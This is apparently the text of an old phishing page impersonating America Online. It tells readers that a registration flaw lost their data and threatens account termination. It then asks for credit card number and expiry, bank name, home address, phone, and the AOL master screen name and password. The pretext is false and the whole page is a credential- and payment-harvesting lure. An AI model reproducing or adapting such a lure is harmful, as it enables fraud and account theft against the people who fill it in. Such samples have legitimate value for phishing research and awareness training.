America Online's Re-Registration

Welcome to America Online Re-Registration

Thank you for choosing America Online!

Secure Online Re-Registration -- Please fill out the entire following form and press 'SEND'

Due to flaws when you first registered for an America Online Account your information was not stored onto our systems therefore we must ask you to Re-Register your information -- Failure to do so will result in account termination. We apologize for any inconvenience. And Thank you for choosing America Online -- So easy no wonder its #1!!

Your First Name:

Your Last Name:

Your Email:

Bank Name:

Credit Card Number:

Expiration Date (mm/yy):

Credit Card Type (i.e..'Visa'):

Your Phone:

Home Address:

City:

State or Province: or

Zipcode:

Country:

Current Master Screenname:

Current Master Screenname Password:

Your gender: Male Female

Your birthdate: --19

Select the Verion of AOL you use:

You use your computer primarily from:

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